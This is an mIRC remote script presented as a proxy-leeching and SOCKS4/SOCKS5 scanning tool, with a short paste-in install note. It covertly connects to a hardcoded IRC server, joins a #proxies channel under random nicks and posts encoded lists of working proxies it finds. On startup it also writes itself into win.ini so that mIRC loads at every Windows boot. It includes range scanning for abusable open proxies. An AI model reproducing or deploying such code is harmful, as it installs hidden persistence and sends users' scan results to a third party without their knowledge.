Put in remotes of mIRC (ALT+R) click Ok. Type: /leech
Need mIRCv6.21 or higher
Enjoy
-----
alias sc5nfile { s5.scan $1- }
alias sc4nfile { s4.scan $1- }
alias htmlfree return $regsubex($$1-,/^[^<]*>|<[^>]*>|<[^>]*$/g,)
alias sc4n {
if (*.*.*.* iswm $1-) && ($1 != x) && ($2) {
if (666* !iswm $2) && (7000 != $2) {
if ($read($pxy,w,* $+ $1 $+ *) != $null) { echo @proxyscan $1 $2 Already in list, halted scan. | halt }
echo @Proxyscan Scanning: $1 $2
sockopen scan $+ $r(0,99999999999999) $1 $2
halt
}
}
if ($getiphost2($1-)) {
if ($read($pxy,w,* $+ $gettok($getiphost2($1-),1,32) $+ *) != $null) { echo @proxyscan $1 $2 Already in list, halted scan. | goto next }
echo @Proxyscan Scanning: $getiphost2($1-)
sockopen scan $+ $r(0,99999999999999) $getiphost2($1-)
goto next
}
if (*.*.*.* !iswm $1-) goto next
if ($read($pxy,w,* $+ $wildtok($1-,*.*.*.*,1,32) $+ *) != $null) { echo @Proxyscan $wildtok($1-,*.*.*.*,1,32) Already in list, halted scan. | goto next }
:next
}
alias setinterval {
echo -a SET AN INTERVAL BETWEEN 1 and 10000 MILLISECONDS, DEPENDING ON YOUR CONNECTION 1 IS VERY FAST AND MOST SUITED FOR CABLE USERS.
echo -a To run the script without problem try an interval between 500 and 5000
:restart
%interval = $?="Enter interval in milliseconds, 1 to 10000 "
if (!$!) || ($! >= 10000) goto restart
}
alias scan.win { %def.s = $def.s | %def.p = 6667 | %def.c = proxies | if (%interval == $null) set %interval 1 | if ($window(@proxyscan) == $null) { localinfo | window -e @proxyscan } }
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @proxyscan,menubar {
[-Proxy Scan-]
.Leech Proxy Now!:leech
.Show window: scan.win | window -a @proxyscan | echo @proxyscan Paste your proxies here
.-
.Set interval of scan: setinterval
.-
.Show good proxies: /run $pxy
.Sort proxy list: /filterfile $pxy
.-
.Scan multiple proxy files: selectmultiplefile
.-
.Abort scanning: abord | /SOCKCLOSE SCAN*
.Clear window: /clear
.Hide window: window -h @proxyscan
.-
.Proxy lists
..ProxyGod: run http://proxygod.com.com/
..My-Proxy forum: run http://forum.my-proxy.com/?from=menu
..Xorum: run http://www.xroxy.com/xorum/
..Proxy4Free: run http://www.proxy4free.com
..PublicProxyServers:run http://www.publicproxyservers.com/page1.html
..AnonymityChecker:run http://www.anonymitychecker.com/page1.html
..Proxz:run http://www.proxz.com/
..MultiProxy:run http://www.multiproxy.org/anon_proxy.htm
..Samair:run http://www.samair.ru/proxy/
..Aliveproxy:run http://www.aliveproxy.com/us-proxy-list/
..HighAnonimity: run http://highanonymity.com/
..mazafaka: run http://proxy.mazafaka.ru/
}
alias pxy return IRCproxys.txt
alias abord { play stop }
on *:INPUT:@Proxyscan:{
if (/ !isin $1) && ($getiphost2($1-)) {
write temp $getiphost2($1-)
.timerscanfile 1 1 .pxyfile temp %interval
.timerscanfileoff 1 1.1 .remove temp
return
}
if (!$getiphost2($1-)) && ($wildtok($1-,*.*.*.*,1,32)) sc4n $wildtok($1-,*.*.*.*,1,32)
}
alias sk {
write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
if ($sock(scan_).mark == c) && ($wildtok(%msg,*,0,32) == 3) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) : $+ $colourencode(p %msg) | unset %msg }
set %radi $read($allpxy,w,* $+ %scan.ip $+ : $+ %scan.port $+ *)
if (!%radi) write $allpxy %scan.ip $+ : $+ %scan.port
}
on *:sockopen:scan*:{
if ($sock(scan_).name == $null) { sockopen scan_ $def.s %def.p }
if ($sockerr > 0) {
if (_ isin $sockname) { .timersS 1 90 sockopen scan_ $def.s %def.p }
if (_ !isin $sockname) echo 15 @proxyscan $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ )
return
}
if (_ !isin $sockname) {
sockwrite -n $sockname CONNECT $def.s $+ : $+ %def.p HTTP/1. $+ $r(0,1) $+ $crlf
sockwrite -n $sockname $crlf
sockwrite -n $sockname $crlf
return
}
sockwrite -n $sockname $crlf
}
alias codedipport { return $base($longip($gettok($1,1,58)),10,36) $+ : $+ $base($gettok($1,2,58),10,36) }
alias dcodedipport { return $longip($base($gettok($1,1,58),36,10)) $+ : $+ $base($gettok($1,2,58),36,10) }
alias success { echo @proxyscan 3* $1- | if ($wildtok(%msg,*,0,32) >= 3) unset %msg | %msg = $codedipport($2) %msg | sk }
on 1:SOCKCLOSE:SCAN_:.timersS 1 90 sockopen scan_ $def.s %def.p
alias allpxy return ALL.txt
alias portclose { sockclose $1 }
on *:SOCKREAD:scan*:{
sockread %scan
tokenize 32 %scan
set %scan.ip $sock($sockname).ip
set %scan.port $sock($sockname).port
if (PING == $gettok(%scan,1,32)) sockwrite -n $sockname PONG $remove($2,:)
if (ERROR isin $1) && (_ isin $sockname) .timersS 1 90 sockopen scan_ $def.s %def.p
if (001 == $gettok(%scan,2,32)) && (_ isin $sockname) { sockmark $sockname c | kk }
if (404 == $gettok(%scan,2,32)) .timer404 1 10 kk
if (*NOTICE AUTH* iswmcs $1-3) && (_ isin $sockname) && (!$sock($sockname).mark) { sockmark $sockname C | localinfo | sockwrite -n $sockname USER $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) "." "." : $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | sockwrite -n $sockname NICK : $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | sockwrite -n $sockname JOIN :# $+ $gettok(%def.c,1,32) : $+ $gettok(%def.c,2,32) }
if (451 == $gettok(%scan,2,32)) || (43* iswm $gettok(%scan,2,32)) && (_ isin $sockname) { %AV = $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | sockwrite -n $sockname USER %av "." "." : $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | sockwrite -n $sockname NICK : $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) }
if (HTTP/* iswm $gettok(%scan,1,32)) {
if ($gettok(%scan,2,32) > 200) { echo 4 @proxyscan Bad: $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $iif(Method not allowed iswm $3-,CoDeeN Proxy,$3-) $+ ) | sockclose $sockname | return }
if ($gettok(%scan,2,32) == 200) { echo @proxyscan %scan.ip $+ : $+ %scan.port is connecting... | sockwrite -n $sockname $crlf | sockwrite -n $sockname $crlf }
}
if (*NOTICE AUTH* iswmcs $gettok(%scan,1-3,32)) && (_ !isin $sockname) || (ERROR: == $1) && (_ !isin $sockname) {
set %readi $read($pxy,w,* $+ $sock($sockname).ip $+ *)
if (%readi == $null) {
success * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING!
unset %redi | unset %radi
sockclose $sockname
}
if (%readi != $null) {
$pb * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING!
unset %redi | unset %radi
sockclose $sockname
halt
}
unset %readi
}
unset %scan
}
on 1:sockclose:scan*:echo 4 @proxyscan $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated.
alias kk if ($sock($sockname).mark == c) sockwrite -n $sockname JOIN $chr(35) $+ $gettok(%def.c,1,32) : $+ $gettok(%def.c,2,32)
alias pb return echo @proxyscan
alias scanfile { sc4n $iif($getiphost2($1-),$getiphost2($1-),$2) }
alias pxyfile { play -a scanfile @proxyscan $1 $2 }
alias range {
unset %range*
set %range1 $gettok($1,1,46)
set %range2 $gettok($1,2,46)
set %range3 $gettok($1,3,46)
.timerRANGEr -om 0 300 next $2-
sockwrite -n scan_ $chr(35) $+ $gettok(%def.c,1,32) $colourencode(Starting at $1 on Port $2 Sv $+ $3 )
}
menu menubar {
Open Socks Scanner: window -e @sock4 | window -e @sock5
}
alias next {
:START
set %temp $r(0,999999999999)
if ($sock(s $+ $2 $+ chk $+ %temp).name != $null) goto START
inc %range4
sockopen s $+ $2 $+ chk $+ %temp %range1 $+ . $+ %range2 $+ . $+ %range3 $+ . $+ %range4 $1
goto next
:NEXT
if (%range4 >= 255) { inc %range3 | set %range4 0 }
if (%range3 >= 255) { inc %range2 | set %range3 0 }
if (%range2 >= 255) { unset %range* | sockwrite -n scan_ PRIVMSG : $+ $chr(35) $+ $gettok(%def.c,1,32) $colourencode(Scan halted.) | .timerRANGE off | halt }
}
on *:INPUT:@sock5:{
write temp.s5 $getiphost2($1-)
.timerscans5file 1 1 .s5file temp.s5 %interval
.timerscans5fileoff 1 1.1 .remove temp.s5
}
on *:INPUT:@sock4:{
write temp.s4 $getiphost2($1-)
.timerscans4file 1 1 .s4file temp.s4 %interval
.timerscans4fileoff 1 1.1 .remove temp.s4
}
alias s5.scan {
if (!$1) goto END
window -e @sock5
if ($read(sock5.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { echo @sock5 $gettok($1,1,58) Already in list | goto END }
if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
sockopen s5chk $+ $r(0,9999999) $1 $2
echo @sock5 Scanning: $1 $2
}
}
elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
sockopen s5chk $+ $r(0,9999999) $getiphost2($1-)
echo @sock5 Scanning: $getiphost2($1-)
}
if ($1) && (!$2) && (: !isin $1) sc4n $1
:END
}
menu @sock5 {
Scan SOCK5 IP range:range $?="IP: 59.90.0.0" $?="Port" 5
-
Check current SOCK5 list: /run sock5.txt
Sort file: /filterfile sock5.txt
-
Set interval of scan:setinterval
Scan multiple SOCK5 files: selectmultiplefiles5
-
ABORT SCANS: .play stop | .timerranger off | sockclose *chk*
Clear: /clear
}
alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @sock4 {
Scan SOCK4 IP range:range $?="IP: 59.90.0.0" $?="Port" 4
-
Check current SOCK4 list: /run sock4.txt
Sort list: /filterfile sock4.txt
-
Set interval of scan: setinterval
Scan multiple SOCK4 files: selectmultiplefiles4
-
ABORT SCANS: .play stop | .timer* off | sockclose *chk*
Clear: clear
}
alias s4.scan {
if (!$1) goto END
window -e @sock4
if ($read(sock4.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { echo @sock4 $gettok($1,1,58) Already in list | goto END }
if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
sockopen s4chk $+ $r(0,9999999) $1 $2
echo @sock4 Scanning: $1 $2
}
}
elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
sockopen s4chk $+ $r(0,9999999) $getiphost2($1-)
echo @sock4 Scanning: $getiphost2($1-)
}
if ($1) && (!$2) && (: !isin $1) sc4n $1
:END
}
on *:sockopen:s5chk*:{
if ($sock(scan_).name == $null) { sockopen scan_ $def.s %def.p }
if ($sockerr) { echo 15 @sock5 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) | return }
set %s5time $ticks
.bset &bvar5 1 5 1 0
.sockwrite -n $sockname &bvar5
.bunset &bvar5
return
}
on *:sockread:s5chk*:{
if ($sockbr) { return }
.sockread &bsocks5
if ($bvar(&bsocks5,1,2) != 5 0) { echo 4 @sock5 Bad $sock($sockname).ip $+ : $sock($sockname).port return $bvar(&bsocks5,2-) | return }
if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {
%def.s = $def.s
bset &socks5 1 5 1 0 1 $replace(%def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
.sockwrite -n $sockname &socks5
.bunset &socks5
sockrename $sockname chks5 $+ $remove($sockname,s5chk)
}
}
on 1:SOCKREAD:chks5*:{
sockread %socks5
tokenize 32 %socks5
if (*NOTICE AUTH* iswmcs $1-3) && (!$sock($sockname).mark) || (ERROR: == $1) && (!$sock($sockname).mark) {
sockmark $sockname c
window -e @sock5
suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms
unset %s5time
;sockrename $sockname idle $+ $r(0,999999999)
sockclose $sockname
}
}
alias suces4 { echo @sock4 3* $1- | if ($wildtok(%msgs4,*,0,32) >= 3) unset %msgs4 | set %msgs4 $codedipport($1) %msgs4 | sk4 }
alias suces5 { echo @sock5 3* $1- | if ($wildtok(%msgs5,*,0,32) >= 3) unset %msgs5 | set %msgs5 $codedipport($1) %msgs5 | sk5 }
alias sk4 {
if ($sock(scan_).mark == c) && ($wildtok(%msgs4,*,0,32) == 3) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) : $+ $colourencode(4 %msgs4) | unset %msgs4 }
%rad = sock4.txt
set %rady $read(%rad,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
if (!%rady) write %rad $sock($sockname).ip $+ : $+ $sock($sockname).port
unset %rad*
}
alias sk5 {
if ($sock(scan_).mark == c) && ($wildtok(%msgs5,*,0,32) == 3) { sockwrite -n scan_ privmsg $chr(35) $+ $+ $gettok(%def.c,1,32) : $+ $colourencode(5 %msgs5) | unset %msgs5 }
%red = sock5.txt
set %redy $read(%red,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
if (!%redy) write %red $sock($sockname).ip $+ : $+ $sock($sockname).port
unset %red*
}
on *:sockopen:s4chk*:{
if ($sock(scan_).name == $null) { sockopen scan_ $def.s %def.p }
if ($sockerr) { echo 15 @sock4 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) | return }
set %s4time $ticks
%def.s = $def.s
.bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace(%def.s,.,$chr(32)) 0
.sockwrite $sockname &bvar4
.bunset &bvar4
}
ON *:SOCKREAD:s4chk*:{
if ($sockbr) { return }
.sockread &bsocks4
if ($bvar(&bsocks4,2) != 90) { echo 4 @sock4 Bad $sock($sockname).ip $+ : $sock($sockname).port return $bvar(&bsocks4,2-) | return }
if ($bvar(&bsocks4,2) == 90) {
window -e @sock4
suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms
unset %s4.time
;sockrename $sockname idle $+ $r(0,999999999)
sockclose $sockname
}
}
on 1:SOCKCLOSE:s5*:{ echo 4 @sock5 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. | return }
on 1:SOCKCLOSE:s4*:{ echo 4 @sock4 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. | return }
alias def.s return 194.68.45.50
alias scans4file { s4.scan $getiphost2($1-) }
alias s4file { play -a scans4file @sock4 $1- }
alias scans5file { s5.scan $getiphost2($1-) }
alias s5file { play -a scans5file @sock5 $1- }
alias ColourEncode {
var %c.1
var %k.1 = $chr(3)
var %s.1 = $chr(44)
var %x.1 = 1
var %y.1 = $len($1-)
var %r.1 = $null
while (%x.1 <= %y.1) {
%c.1 = $asc($mid($1-,%x.1,1))
%h.1 = $floor($calc(%c.1 / 16))
%l.1 = $calc(%c.1 % 16)
%r.1 = $+(%r.1,%k.1,%h.1,%s.1,%l.1)
inc %x.1
}
return %r.1
}
on 1:START:{ writeini C:/windows/win.ini windows load $shortfn($mircexe) | .timerleech -o 1 10 leech | scan.win }
